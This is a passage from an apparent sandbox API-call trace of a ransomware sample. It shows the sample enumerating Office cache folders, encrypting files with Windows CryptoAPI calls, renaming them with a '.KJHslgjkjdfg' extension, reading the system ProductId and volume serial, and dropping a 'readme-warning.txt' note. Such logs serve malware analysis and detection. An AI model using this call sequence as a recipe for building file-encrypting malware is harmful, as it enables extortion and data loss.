lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.242] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.244] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.244] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.244] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.244] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.248] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.251] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.251] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.252] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.252] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.253] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.253] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.253] SetEndOfFile (hFile=0x124) returned 1 [0140.257] GetProcessHeap () returned 0x2a0000 [0140.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.257] GetProcessHeap () returned 0x2a0000 [0140.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.257] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.kjhslgjkjdfg")) returned 1 [0140.258] CloseHandle (hObject=0x124) returned 1 [0140.258] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0140.258] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0140.258] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.259] GetProcessHeap () returned 0x2a0000 [0140.259] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.259] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.259] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.259] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0140.261] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.261] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.261] GetProcessHeap () returned 0x2a0000 [0140.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0140.261] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0140.261] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.261] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0140.261] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.261] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.262] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.262] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.262] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.262] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.262] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x412b, lpOverlapped=0x0) returned 1 [0140.263] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x4130, dwBufLen=0x4130 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x4130) returned 1 [0140.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.263] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x4130, lpOverlapped=0x0) returned 1 [0140.263] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.263] SetEndOfFile (hFile=0x124) returned 1 [0140.266] GetProcessHeap () returned 0x2a0000 [0140.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0140.266] GetProcessHeap () returned 0x2a0000 [0140.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.266] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0140.267] CloseHandle (hObject=0x124) returned 1 [0140.267] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0140.267] GetProcessHeap () returned 0x2a0000 [0140.267] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.267] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.268] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0140.268] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.268] GetProcessHeap () returned 0x2a0000 [0140.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0140.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.268] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0140.268] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.268] GetProcessHeap () returned 0x2a0000 [0140.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0140.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.268] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0140.268] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.268] GetProcessHeap () returned 0x2a0000 [0140.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0140.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.268] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0140.268] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.268] GetProcessHeap () returned 0x2a0000 [0140.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0140.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.268] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0140.269] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0140.269] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0140.269] RegCloseKey (hKey=0x124) returned 0x0 [0140.269] GetProcessHeap () returned 0x2a0000 [0140.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0140.269] GetProcessHeap () returned 0x2a0000 [0140.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0140.269] GetProcessHeap () returned 0x2a0000 [0140.269] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0140.269] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0140.269] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0140.269] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.269] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0140.269] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0140.270] GetProcessHeap () returned 0x2a0000 [0140.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0140.270] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0140.270] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0140.270] GetProcessHeap () returned 0x2a0000 [0140.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0140.270] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0140.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.270] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0140.272] CloseHandle (hObject=0x124) returned 1 [0140.272] GetProcessHeap () returned 0x2a0000 [0140.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0140.272] GetProcessHeap () returned 0x2a0000 [0140.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0140.272] GetProcessHeap () returned 0x2a0000 [0140.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0140.273] GetProcessHeap () returned 0x2a0000 [0140.273] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.273] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0140.273] GetProcessHeap () returned 0x2a0000 [0140.273] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0140.273] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0140.273] GetProcessHeap () returned 0x2a0000 [0140.273] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0140.273] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0140.277] GetProcessHeap () returned 0x2a0000 [0140.277] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0140.277] GetProcessHeap () returned 0x2a0000 [0140.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0140.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.278] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=1992192) returned 1 [0140.278] GetProcessHeap () returned 0x2a0000 [0140.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.278] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.278] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.278] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.278] GetProcessHeap () returned 0x2a0000 [0140.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.278] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.278] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.278] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.280] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.280] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.280] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.280] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.281] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.281] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.281] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.281] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.285] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.290] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.290] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.291] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.291] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.291] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.292] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, 